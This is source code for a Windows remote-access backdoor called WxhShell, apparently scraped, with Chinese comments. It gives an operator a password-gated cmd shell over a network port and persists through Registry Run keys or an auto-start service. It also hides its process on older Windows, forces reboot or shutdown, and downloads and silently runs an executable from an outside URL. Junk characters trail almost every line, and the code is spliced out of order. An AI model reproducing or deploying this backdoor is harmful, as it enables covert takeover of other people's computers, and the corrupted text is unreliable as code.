    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P(#by{s  
    if(Boot(SHUTDOWN)) bI?YNt,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W4~:3 Sk  
    else { WYklS<B[  
    closesocket(wsh); o:irwfArv  
    ExitThread(0); 4PzCm k  
    } \E3e vU  
    break; }^ np  
    } "]M]pR/j  
  // 获取shell :L!O/Bd8V  
  case 's': { N1O.U"L;  
    CmdShell(wsh); 3A(sT}  
    closesocket(wsh); 0+P<1ui  
    ExitThread(0); {Bb:S"7NX  
    break; #}Qzu~  
  } 39(]UO6^;  
  // 退出 ]d|:&h  
  case 'x': { -0/5 !  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?-`G0(  
    CloseIt(wsh); oSOO5dk:z  
    break; Pgg\(D#X`  
    } |_^A$Hv  
  // 离开 ZFAi9M  
  case 'q': { = UT^5cl(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l" #}g%E  
    closesocket(wsh); }I1SC7gY  
    WSACleanup(); " tUS>c/  
    exit(1); 1dy>a=W  
    break; _*I@ J/  
        }  '9Hah  
  } -!k$ Z  
  } ^gK8 u]>  
IP 9{vk  
  // 提示信息 JQhw>H9&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nK" XyZ&  
} ?x|8"*N  
  } !e}LB%zf  
MifPZQ  
  return; RiY9[ec2  
} x! A.**  
0?tn.<'B8T  
// shell模块句柄 8$H_:*A?  
int CmdShell(SOCKET sock) I}#_Jt3R  
{ #Tjv(O[&  
STARTUPINFO si; Z*}5M4  
ZeroMemory(&si,sizeof(si)); .%D9leiRe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T w!]N%E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; = 2 3H/  
PROCESS_INFORMATION ProcessInfo; nnV(MB4z1  
char cmdline[]="cmd"; l.#iMi(@p~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OKo39 A\fu  
  return 0; <F=U(WWn9  
} _\9|acFT2O  
E0miX)AG  
// 自身启动模式 nty^De%  
int StartFromService(void) m@r+M"!R  
{ dc .oK4G}  
typedef struct ~JJuM  
{ 0'giAA  
  DWORD ExitStatus; Q]Ymv:M,  
  DWORD PebBaseAddress; z"b}V01F#  
  DWORD AffinityMask; TsPx"+>7`  
  DWORD BasePriority; j{i3lGaN  
  ULONG UniqueProcessId; CLb~6LD  
  ULONG InheritedFromUniqueProcessId; V'XmMn)!  
}   PROCESS_BASIC_INFORMATION; jIq@@8@o  
e;y\v/A  
PROCNTQSIP NtQueryInformationProcess; Q -!,yCu  
. C g2Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; om`x"x&6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mpfdl65  
qP"+SVqC  
  HANDLE             hProcess; Q-3o k7  
  PROCESS_BASIC_INFORMATION pbi; QEe\1>1"&  
6*] g)m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2VrO8q(  
  if(NULL == hInst ) return 0; ~nQv yM!$  
td:GZ %  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^ |k 7g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1@&i ju5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tevB2'3^  
_vQtV]  
  if (!NtQueryInformationProcess) return 0; 0Q81$% @<  
I[r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7oj ^(R,  
  if(!hProcess) return 0; Y#>'.$ (Az  
f^P:eBgpx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C #A sA  
e)pQh& uD  
  CloseHandle(hProcess); ze+_iQ5  
9~bl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b51{sL  
if(hProcess==NULL) return 0; k 8C[fRev  
IFrq\H0  
HMODULE hMod; O~E6"v Q  
char procName[255]; WE_jT1^/  
unsigned long cbNeeded; c-|~ABtEpX  
[I4:R_\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \+]U1^  
I9sx*'  
  CloseHandle(hProcess); |'w_5?|4  
;.Lf9XJ   
if(strstr(procName,"services")) return 1; // 以服务启动 /%El0X  
@8IY J{=  
  return 0; // 注册表启动 I%.96V  
} <78]OZ] Z  
+ 9vd(c  
// 主模块 :lF[k`S T  
int StartWxhshell(LPSTR lpCmdLine) 80PlbUBb!  
{ aNZJs<3;'D  
  SOCKET wsl; N|Cx";,|FZ  
BOOL val=TRUE; / v";u)  
  int port=0; c\X0*GX  
  struct sockaddr_in door; ]_cBd)3P}  
OYcf+p"<\  
  if(wscfg.ws_autoins) Install(); "`b"PQ<x  
?y.q<F)  
port=atoi(lpCmdLine); #41fRmzC  
.rfufx9Sw  
if(port<=0) port=wscfg.ws_port; TTg>g~t`  
(C< ~:Y?%  
  WSADATA data; Vb${Oy+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +f{CfWIKs  
O]ZP- WG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l `D>h2]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]dZ8]I<$C  
  door.sin_family = AF_INET; 7qfo%n"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f1c Q*#2~  
  door.sin_port = htons(port); l2v4SvbX  
/:]`TlAb,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %GRD3S  
closesocket(wsl); QPe+K61U  
return 1; %O 5 k+~9  
} (TufvHC  
@agW{%R:.  
  if(listen(wsl,2) == INVALID_SOCKET) { 4::>Ca^{  
closesocket(wsl); s?;rP,{:p  
return 1; V^ O dTM  
} F_8nxQ-  
  Wxhshell(wsl); 2?3D` `  
  WSACleanup(); I]qml2  
K6#9HF'2I  
return 0; >KjyxJ7  
O34'c_ fZ  
} t`b>iX%(1t  
e:9CD-  
// 以NT服务方式启动 Fs^d-I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P;%4Imq3  
{ =^. f)  
DWORD   status = 0; !FhK<#  
  DWORD   specificError = 0xfffffff; 0qXkWGB  
!^Mk5E(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zk+&5d 4(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xPa>-N=*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /0(2PVf y  
  serviceStatus.dwWin32ExitCode     = 0; n\v\<mVTb7  
  serviceStatus.dwServiceSpecificExitCode = 0; @Q:5{?  
  serviceStatus.dwCheckPoint       = 0; :3qA7D}  
  serviceStatus.dwWaitHint       = 0; )|>LSKT El  
JTcK\t8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pg3B^  
  if (hServiceStatusHandle==0) return; ny:c&XS  
&FrW(>2  
status = GetLastError(); fM jn8.  
  if (status!=NO_ERROR) QJFx/zU  
{ L@*0wx`fU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 76[O3%  
    serviceStatus.dwCheckPoint       = 0; MpbH!2J  
    serviceStatus.dwWaitHint       = 0; TGxspmY6  
    serviceStatus.dwWin32ExitCode     = status; #4h_(Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; a jy.K'B*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w7Nb+/,sg  
    return; x{u7#s1|/  
  } xwxMVp`|o  
YQ>P{I%J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }Sa2s&[<  
  serviceStatus.dwCheckPoint       = 0; 7&G[mOx0  
  serviceStatus.dwWaitHint       = 0; 1nh2()QI[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /ZAS%_as  
} n8"S;:Zm  
D$k40Mz  
// 处理NT服务事件,比如:启动、停止 x;NCW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \M>+6m@w  
{ v#/Uq?us  
switch(fdwControl) A:3bL: ;t  
{ i][7S mN  
case SERVICE_CONTROL_STOP: \nV|Y=5  
  serviceStatus.dwWin32ExitCode = 0; )L#C1DP#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /#J)EH4p  
  serviceStatus.dwCheckPoint   = 0; \(_FGa4j  
  serviceStatus.dwWaitHint     = 0; )f4D2c&VE  
  { IC}?oXs5G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 11}fPWK  
  } -A}*Aa'\  
  return; <:yB4t3H+q  
case SERVICE_CONTROL_PAUSE: 6L~@jg~0A[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; | ]`gps  
  break;  =%AFn9q  
case SERVICE_CONTROL_CONTINUE: c_xtwdkL9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; juuBLv  
  break; E)|_7x<u  
case SERVICE_CONTROL_INTERROGATE: h d1H  
  break; 10 dVV[=  
}; -!(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T{u!4Yu  
} 9&5\L  
' >> IMF  
// 标准应用程序主函数 )F 6#n&2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]H7_bix  
{ Ky`rf}cI>  
th8f  
// 获取操作系统版本 :qy`!QPUm  
OsIsNt=GetOsVer(); ~,yHE3B\G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $DC*&hqpt  
ws5x53K  
  // 从命令行安装 ^a|$z$spf  
  if(strpbrk(lpCmdLine,"iI")) Install(); 94r8DkI  
u4B,|_MK  
  // 下载执行文件 9BB<. p  
if(wscfg.ws_downexe) { }(O/y-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) { 'Hi_b3  
  WinExec(wscfg.ws_filenam,SW_HIDE); dC@aQi6{6  
} v,r}q1.E}  
u8 14ZN}  
if(!OsIsNt) { V ?3>hQtB  
// 如果时win9x,隐藏进程并且设置为注册表启动 ';??0M  
HideProc(); qVC_K/w 7  
StartWxhshell(lpCmdLine); bJe*J\){  
} 49}yw3-  
else qie7iE`o  
  if(StartFromService()) zvL&V .>  
  // 以服务方式启动 $*K5  
  StartServiceCtrlDispatcher(DispatchTable); zfL$z,zgf  
else (6z^m?t?  
  // 普通方式启动 {rGq|Bj  
  StartWxhshell(lpCmdLine); S5d:?^PGg  
bv0B  
return 0; oM-{)rvQd  
} l?(nkg["nY  
;OmmXygl  
Y5=~>*e  
0IBVR,q  
=========================================== JU:!lyd  
;_K+b,  
V4qHaG  
k);z}`7  
Dqe)8 r  
&T]+g8''  
" j>eL&.d  
<1&kCfE&  
#include <stdio.h> rMSB|*_  
#include <string.h> O;f^' N  
#include <windows.h> )V JAs|  
#include <winsock2.h> 2*n2!7jZ*  
#include <winsvc.h> [{N i94:d  
#include <urlmon.h> c }ivYH?`w  
w>; :mf  
#pragma comment (lib, "Ws2_32.lib") lf0/ 0KH  
#pragma comment (lib, "urlmon.lib") (U2G"  
9 f-T>}  
#define MAX_USER   100 // 最大客户端连接数 Zqd&EOm  
#define BUF_SOCK   200 // sock buffer a\vf{2  
#define KEY_BUFF   255 // 输入 buffer D[ 7K2G+  
3`TC*  
#define REBOOT     0   // 重启 0NfO|l7P  
#define SHUTDOWN   1   // 关机 NUH;GMj,,  
vPmP<c)cb  
#define DEF_PORT   5000 // 监听端口 _4o2AS:j  
7oF`Os+U  
#define REG_LEN     16   // 注册表键长度 ro@Zbm;P  
#define SVC_LEN     80   // NT服务名长度 tA#X@HIE  
s7I*=}{g0.  
// 从dll定义API 7zr\AgV9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vc6UA%/f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "x9xJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V==' 7n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qu!\Cx@  
#H O\I7m  
// wxhshell配置信息 wuzz Wq  
struct WSCFG { a[";K,  
  int ws_port;         // 监听端口 huvg'Y t  
  char ws_passstr[REG_LEN]; // 口令 -/x +M-X#  
  int ws_autoins;       // 安装标记, 1=yes 0=no H4l:L(!D  
  char ws_regname[REG_LEN]; // 注册表键名 .~v~~VL1NS  
  char ws_svcname[REG_LEN]; // 服务名 ;zs*Zd7h M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )@eBe^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |r}%AN6+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T~"tex]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oCy52Bm.!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HZ 8 j[kO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E|97zc  
P|h<|Gcp  
}; OOl{  
Da-F(^E  
// default Wxhshell configuration kUP[&/Lc  
struct WSCFG wscfg={DEF_PORT, Pdf_{8 r  
    "xuhuanlingzhe", sB0+21'R  
    1, cnLC>_hY  
    "Wxhshell", =#BeAsFfO  
    "Wxhshell", rO]C`bg  
            "WxhShell Service", 3 %DA{  
    "Wrsky Windows CmdShell Service", [ R~+p#l+Q  
    "Please Input Your Password: ", h4?+/jk7  
  1, f@LUp^Z/v  
  "http://www.wrsky.com/wxhshell.exe", wB9IP{Pf  
  "Wxhshell.exe" L%B+V;<h3  
    }; =v:_N.Fh-c  
7IK<9i4O  
// 消息定义模块 dZ%b|CUb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q{U -kuui  
char *msg_ws_prompt="\n\r? for help\n\r#>"; te6[^_k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^]U2Jd  
char *msg_ws_ext="\n\rExit."; !-N!8 0  
char *msg_ws_end="\n\rQuit."; iS=T/<|?  
char *msg_ws_boot="\n\rReboot..."; 30DpIkf  
char *msg_ws_poff="\n\rShutdown..."; /;OJ=x3i  
char *msg_ws_down="\n\rSave to "; N"r ;d+LTL  
_'I9rGlx3  
char *msg_ws_err="\n\rErr!"; '')G6-c/  
char *msg_ws_ok="\n\rOK!"; 7y[B[$P  
_Fz )2h,3  
char ExeFile[MAX_PATH]; Ku&(+e  
int nUser = 0; e3S6+H),I  
HANDLE handles[MAX_USER]; ++ dV5  
int OsIsNt; 5@0c@Q  
uFok'3!g7%  
SERVICE_STATUS       serviceStatus; @J r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #m$H'O[WG\  
xje{ kx#  
// 函数声明 yLDHJ}R  
int Install(void); ,7j`5iq[m  
int Uninstall(void);  fx;5j;  
int DownloadFile(char *sURL, SOCKET wsh); r#Pd@SV  
int Boot(int flag); 8U;!1!+ 7)  
void HideProc(void); {;p /V\   
int GetOsVer(void); 8ZIv:nO$  
int Wxhshell(SOCKET wsl); [w{ZP4d>  
void TalkWithClient(void *cs); whLske-  
int CmdShell(SOCKET sock); R +\y" .  
int StartFromService(void); qL'3MY.!  
int StartWxhshell(LPSTR lpCmdLine); W2<X 5'  
y:,{U*49  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  R(zsn;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wz, \zh  
wR;l"*j  
// 数据结构和表定义 N$y4>g  
SERVICE_TABLE_ENTRY DispatchTable[] =  >#q|Pjv]  
{ ~(Tz <  
{wscfg.ws_svcname, NTServiceMain}, S;t~"87v*  
{NULL, NULL} +?.,pqn<=  
}; 3R{-\ZMd  
;zCHEz  
// 自我安装 TuF:m"4  
int Install(void) B "qG-ci  
{ 5=?&q 'i  
  char svExeFile[MAX_PATH]; ?DRC! 9o^  
  HKEY key; Ee|@l3)  
  strcpy(svExeFile,ExeFile); >N,G@{FR  
CD[7h  
// 如果是win9x系统,修改注册表设为自启动 #ERn 8k  
if(!OsIsNt) { fk"{G>&8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3% P?1s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "(xS  
  RegCloseKey(key); .H>Rqikj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S5d{dTPq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q6ikJ8E8b  
  RegCloseKey(key); o?b%L  
  return 0; ;T_9;RU<'b  
    } AH7k|6ku<*  
  } fg1y@Dj/&  
} p/:5 bvA  
else { S1+#qs {5a  
.Gv~e!a8  
// 如果是NT以上系统,安装为系统服务 Ym6ec|9;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (8*lLZ  
if (schSCManager!=0) `j(+Y  
{ T2->  
  SC_HANDLE schService = CreateService ,S5#Kka~a  
  ( 2tbqmWw/s  
  schSCManager, :J~j*_hZ  
  wscfg.ws_svcname, bo*q{@Ue  
  wscfg.ws_svcdisp, m!2Dk#t  
  SERVICE_ALL_ACCESS, C{ti>'"V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x)?\g{JH  
  SERVICE_AUTO_START, ms{R|vU%b  
  SERVICE_ERROR_NORMAL, oF>GWst TR  
  svExeFile, E??%)q  
  NULL, C=]3NB>Jc  
  NULL, =;`YtOL  
  NULL, w %zw+E  
  NULL, 6,7omYof  
  NULL U=t'>;(g  
  ); VsmL#@E  
  if (schService!=0) 5^Y/RS i  
  { j~8+,:  
  CloseServiceHandle(schService); Qnw$=L:  
  CloseServiceHandle(schSCManager); J)G3Kq5>:b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y8 Nb 8m  
  strcat(svExeFile,wscfg.ws_svcname); L!p|RKz9X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s +GF- kJ*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); joA+  
  RegCloseKey(key); }ot _k-  
  return 0; O`u!P\  
    } bPOx~ CMh  
  } K+}Z6_:  
  CloseServiceHandle(schSCManager); W"*R#:Q  
} f8 ja Mn9o  
} -hzza1DP  
n~ql]Ln  
return 1; [v`4OQF/  
} gfYB|VyWo  
3/AUV%+  
// 自我卸载 . $k"+E  
int Uninstall(void) ZFON]$Zk  
{ ! lF^~x  
  HKEY key; :qbG%_PJ  
VMWg:=~$  
if(!OsIsNt) { }"-r;i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |rvrSab)  
  RegDeleteValue(key,wscfg.ws_regname); c|R/,/  
  RegCloseKey(key); jQb D2x6(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9PJDT]  
  RegDeleteValue(key,wscfg.ws_regname); Z C93C7lJ  
  RegCloseKey(key); /kz&9FM  
  return 0; d.AjH9 jg  
  } 9yh@_~rZ  
} zFn&~lFB  
} `@M4THt  
else { jE#8&P~  
/4?`F} 7)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]cr;PRyv  
if (schSCManager!=0) =#tQIhX`  
{ @"!SU' *  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q(7D8xG;F  
  if (schService!=0) :/NN =3e  
  { /;4MexgB%  
  if(DeleteService(schService)!=0) { [Mz;:/  
  CloseServiceHandle(schService); {H V,2-z  
  CloseServiceHandle(schSCManager); RuZ;hnE&  
  return 0; ='0!B]<G  
  } vR$5ItnT  
  CloseServiceHandle(schService); &w0=/G/T=~  
  } ak>NKK8P  
  CloseServiceHandle(schSCManager); 1 =<|h  
} {9".o,  
} F 29AjW86  
1%"` =$q%  
return 1; _zh5KP[{  
} ku?_/-ko]  
]e.+u  
// 从指定url下载文件 md"%S-a_dT  
int DownloadFile(char *sURL, SOCKET wsh) 5@$4.BGcF  
{ kDq%Y[6Z  
  HRESULT hr; 3(+#^aw  
char seps[]= "/"; r%pFq1/'!  
char *token; v|@n8ED|@K  
char *file; C8:"+;  
char myURL[MAX_PATH]; YZRB4T9  
char myFILE[MAX_PATH]; wF8\  
j\f$r,4  
strcpy(myURL,sURL); *]WXM.R8  
  token=strtok(myURL,seps); LFyceFbm  
  while(token!=NULL) l7,qWSsn K  
  { gi'agB^  
    file=token; A#S:_d  
  token=strtok(NULL,seps); <UJJ],)^1A  
  } 7[BL 1HI*  
|nN/x<v  
GetCurrentDirectory(MAX_PATH,myFILE); io7U[#  
strcat(myFILE, "\\"); C-u/{CP  
strcat(myFILE, file); Ok&>[qu  
  send(wsh,myFILE,strlen(myFILE),0); HY;?z `=  
send(wsh,"...",3,0); +[/47uFbI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -5 /v`  
  if(hr==S_OK) ~[TKVjyO  
return 0; *"FLkC4  
else 2?iOB6  
return 1; _M[[vXH  
WgJAr73 l  
} q_y,j&  
DXW?;|8)O  
// 系统电源模块 8$ZSF92C  
int Boot(int flag) 1lyOp   
{ I<./(X[H:#  
  HANDLE hToken; :IVMTdYf  
  TOKEN_PRIVILEGES tkp; o?K|[gNi  
6bKO;^0  
  if(OsIsNt) { DhNo +"!z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Sn2Ds)Pfx3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qMES<UL>  
    tkp.PrivilegeCount = 1; >B/&V|E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jne9=Als5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t!~YO'<dS  
if(flag==REBOOT) { ^>8]3@ Nh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &17,]#3  
  return 0; t"/"Ge#a  
} WG/J4H`Od  
else { 5A$az03y$\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $;uWj|  
  return 0; ;[%}Xx  
} }u_EXP8M  
  } _$\5ZVe  
  else { cJ##K/es  
if(flag==REBOOT) { b2X'AHK S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P^3m:bE]  
  return 0; A?D"j7JD=L  
} 0tCOb9  
else { .(7C)P{ .0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0IgnpeA]  
  return 0; e9@fQ  
} xSDE6]  
} !N8)C@=  
zLw h6^?Y  
return 1; 207O["Y  
} j(6$7+2qN  
_SIs19"lR  
// win9x进程隐藏模块 +GYMJK`S+  
void HideProc(void) G:c8`*5Q  
{ HS6Imi  
NnLhJPh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m/hi~. D9  
  if ( hKernel != NULL ) YNC0Z'c9  
  { qN1 -plY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #EmffVtY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R_>TEYZ  
    FreeLibrary(hKernel); hG~]~ )  
  } cxD}t'T  
Md>f  
return; `}9 1S  
} a|P~LMPM  
B2G5h baA  
// 获取操作系统版本 ECS<l*i57&  
int GetOsVer(void) ,/?%y\:J  
{ "T{~,'T  
  OSVERSIONINFO winfo; adO!Gs9f?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I,<>%Z|'  
  GetVersionEx(&winfo); \'??  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Sz|Y$,  
  return 1; 8 5%Pq:E  
  else u1;e*ty  
  return 0; X(!AI|6Bt  
} VX!Y`y^a  
~*mOt 7G  
// 客户端句柄模块 ci ,o8 [Y  
int Wxhshell(SOCKET wsl) (Gi+7GMV'  
{ g\qL}:  
  SOCKET wsh; n=G>y7b  
  struct sockaddr_in client; BK(pJNBh  
  DWORD myID; c3zT(FgO>N  
/m Q2;*|  
  while(nUser<MAX_USER) }+{*, z  
{ y '_V/w s  
  int nSize=sizeof(client); RD6h=n4B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g<2lPH  
  if(wsh==INVALID_SOCKET) return 1; r%y;8$/-  
mo|PrLV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); of+phMev  
if(handles[nUser]==0) &ppE|[{  
  closesocket(wsh); 7O8V1Tt  
else /OhaERv  
  nUser++; ]Z.<c$  
  } m]0^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !bZhj3.  
|D;"D  
  return 0; ZSF=  
} hy$MV3LP  
z;bH<cQ  
// 关闭 socket ~'^!udF-  
void CloseIt(SOCKET wsh) :7$\X[  
{ ^_*jp[!`b$  
closesocket(wsh); SRt$4EL21  
nUser--; V@#*``M,3  
ExitThread(0); *R_'$+  
} >9o,S3  
z"6ZDC6  
// 客户端请求句柄 (#j2P0B  
void TalkWithClient(void *cs) Gut J_2f^9  
{ {?EEIfg  
VY+(,\ )U  
  SOCKET wsh=(SOCKET)cs; \~gA+ o}Q  
  char pwd[SVC_LEN]; NJ|NJ p&0  
  char cmd[KEY_BUFF]; H _Zo@y~J  
char chr[1]; 'a;ini  
int i,j; di3 B=A>3  
;[TljcbS  
  while (nUser < MAX_USER) { 943I:, B  
U^M@um M  
if(wscfg.ws_passstr) { E8T"{ R80  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !j!Z%]7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e9~cBG|  
  //ZeroMemory(pwd,KEY_BUFF); ~K5Cr  
      i=0; =bs.2aN&^  
  while(i<SVC_LEN) { {BFT  
F5N>Uqr*oN  
  // 设置超时 [{S;%Jj*X/  
  fd_set FdRead; ?%cn'=>ZI  
  struct timeval TimeOut; -yX.Jv  
  FD_ZERO(&FdRead); CRZi;7`*1  
  FD_SET(wsh,&FdRead); I@3Q=14k%  
  TimeOut.tv_sec=8; B>~k).M&,  
  TimeOut.tv_usec=0; awj+#^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "n{9- VEmN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c;c:Ea5  
P$p@5hl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D^66p8t  
  pwd=chr[0]; 5TXg;v#Z  
  if(chr[0]==0xd || chr[0]==0xa) { KY4d+~2  
  pwd=0; _MM   
  break; 8ivRp<9  
  } :D"@6PC]  
  i++; {E!$ xY8  
    } )8pc f`h{  
uk`T+@K  
  // 如果是非法用户,关闭 socket zc6H o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LQh^; ]^(  
} wqJ*%  
reJ"r<2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g~~m' ^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N=>- Q)  
Q,zC_  
while(1) { +?qf`p.{  
y._'K+nl  
  ZeroMemory(cmd,KEY_BUFF); sW;7m[o  
rs[?v*R74  
      // 自动支持客户端 telnet标准   @4;HC=~  
  j=0; _FL<egK  
  while(j<KEY_BUFF) { $Llta,ULE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .D+RLO z  
  cmd[j]=chr[0]; F|ETug n  
  if(chr[0]==0xa || chr[0]==0xd) { Jzk!K@  
  cmd[j]=0; Y{,2X~ 7  
  break; ?V#Gx>\  
  } &(g m4bTg  
  j++; vGXWwQ.1Tp  
    } g93I+  
O[; +i  
  // 下载文件 pPoH5CzcK  
  if(strstr(cmd,"http://")) { ?K0U3V$s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pp(H PKs=}  
  if(DownloadFile(cmd,wsh)) Oz :D.V 3~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <\h*Zy  
  else 1+R:3(AC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GA.BI"l  
  } j2M4H@  
  else { >Cvjs  
\ 0D$Mie  
